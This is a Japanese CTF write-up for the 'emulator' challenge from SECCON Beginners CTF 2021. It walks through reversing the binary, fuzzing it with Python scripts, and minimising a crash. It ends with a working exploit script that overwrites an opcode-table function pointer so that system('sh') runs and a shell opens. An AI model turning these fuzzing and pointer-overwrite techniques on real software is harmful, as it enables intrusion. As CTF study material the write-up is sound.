# 2021 emulator - SECCON Beginners CTF Online 2021 ## 概要 x64 ELFバイナリだけ貰えるのでIDAで読む。 なんかこんな感じの構造体があって ``` typedef struct { unsigned char regs[0xc]; unsigned code[0x4000]; // +000Ch void *instr[0xff]; // +4010h } Emulator; ``` `code`に自由な入力を与えて`instr[code[pc]]();`みたいなのが実行される。`mov`命令の解析がクソ面倒。 なので解析は終わり。 ```c /* typedef struct { unsigned char regs[0xc]; unsigned code[0x4000]; // +000Ch void *instr[0xff]; // +4010h } Emulator; */ void nop(Emulator *emu) { emu->regs[0] = emu->regs[0]; } void hlt(Emulator *emu) { puts("sorry I can't halt..."); } void ret(Emulator *emu) { puts("A register is %d !\n"); puts("bye"); exit(0); } void mov(Emulator *emu) { char x = get_mem_pc(emu); } vodi mov_r_r(Emulator *emu, int a, int b) { } short get_pc(Emulator *emu) { return (regs[7] << 8) | regs[8]; } unsigned int get_mem_pc(Emulator *emu) { return emu->code[get_pc(emu)]; } void init_instructions(Emulator *emu) { for (int i = 0x00; i < 0xff; i++) emu->nazo[i] = nop; for (int i = 0x40; i < 0x80; i++) emu->nazo[i] = mov; for (int i = 0x06; i < 0x40; i += 8) emu->nazo[i] = mvi; nazo[118] = hlt; nazo[201] = ret; } int main() { Emulator *emu = malloc(0x4808); init_instructions(emu); print_banner(); puts("loading to memory"); load_to_mem(stdin, emu->code); while (1) { unsigned char c = get_mem_pc(emu); code[c](emu); inc_pc(emu); } return 0; } ``` ## 解法 ### 脆弱性の発見 解析途中までで脆弱性は見当たらない&これ以上謎switch文を読みたくないのでfuzzingする。 まずランダムな入力を与えてクラッシュしたものを保存する。 ```python from ptrlib import * import random sock = Process("./chall") code = bytes([random.randrange(0, 0x100) for i in range(0x3ffe)] + [201]) with open("history", "wb") as f: f.write(code) sock.sendafter("...\n", code) sock.interactive() ``` 保存されたクラッシュを最適化すると、次のコードでクラッシュすることが分かった。 ``` \xff ``` あーそりゃ初期化で0xfeまでしかループ回してないんだからそうだよな。topのsizeがcallされてるのでこのバグは使えない。 ので0xffを踏まないようにfuzzerを書き直す。 一気にクラッシュ率が下がるので多少自動化する。 ```python from ptrlib import * import random while True: sock = Process("./chall") code = bytes([random.randrange(0, 0xff) for i in range(0x3ffe)] + [201]) with open("history", "wb") as f: f.write(code) sock.sendafter("...\n", code) while sock._is_alive(): pass if sock.proc.returncode == -11: print("[+] Crash") break sock.close() ``` しばらく回すとクラッシュが見つかる。 小さくしたテストケース: ``` 0e4208986129ee797d7e5234c8175cfa6c310174635f0d278b26806b6bfb9154f4c1d38d25a2e50011e6fbdf113657761850966ae42493b56676a0ab645e9f0417fcd63d17a969c25aa9d882f98b6264c21504283e4a36a8dc1a961fa9eb0ef003eb54a404aff8b6cfc5e859d8c1f9531a546dfd7a067ff989f2c384edec74c1522b2dd1f14cf43b9975ab5febbd0df6abc142d4ddd87c8b4b3e70266f7742cbf70a33b92ed7073f ``` ログ: ``` [ 6384.155798] chall[36005]: segfault at 4200401437 ip 0000004200401437 sp 00007ffc5885bab8 error 14 in libc-2.31.so[7f5b36c7d000+25000] ``` nopの関数ポインタの4バイト目が0x42に書き換わってるらしい。 テストケースを更に最適化する。 ``` 0e420898616c3f ``` ### OOB-Writeの作成 今のテストケースでは0x40a4a8(instr[0x3f])にある関数ポインタが書き換えられている。 どのタイミングで書き換わるかを調べるためにgdbで実行トレースを得る。 ``` mvi r2, 0x42 mov r5, r2 mov [r5:r6], r5 (?) ``` 最初にmviでどっかのレジスタに0x42入り、それが伝搬して最終的にmovで書き換わっているらしい。 それを踏まえると最小PoCは次のようになる。 ``` 0e42 61 6c 3f ``` ただ、これだと使いづらいので、最後のmovは別のレジスタから引っ張りたい。 適当にコードを変えると0x6aで ``` mov [r4:r5], r2 ``` 相当の処理ができることが分かった。 あとは ``` mvi r6, XX mvi r4, XX ``` を探せばよい。最初のコード的に6+8*iの命令を試せば良さそう。 ### exploit system呼べば終わり。 ```python= from ptrlib import * import random sock = Process("./chall") code = b'' code += bytes([6+8*4]) + b"\x40" # r4 target = 0x401040 # overwrite for i in range(3): code += bytes([6+8*5, 0x4+i]) # r5 code += bytes([6+8*2, (target>>(i*8)) & 0xff]) # r2 code += b"\x6a" # [r4:r5] = r2 # prepare sh code += bytes([6+8*7, ord('s')]) # r0 code += bytes([6+8*0, ord('h')]) # r1 # ignite code += b"\x00" code += bytes([201]) sock.sendafter("...\n", code) sock.interactive() ``` ## 感想・意見等 - ソースコードも配布した方が良いと思う - ソースコード配布した上でmediumかな - 最初の初期化で0xfeまでしか回してないのは実装ミスだと思う - レジスタの値初期化してない気がするのも気になる(未定義動作なので)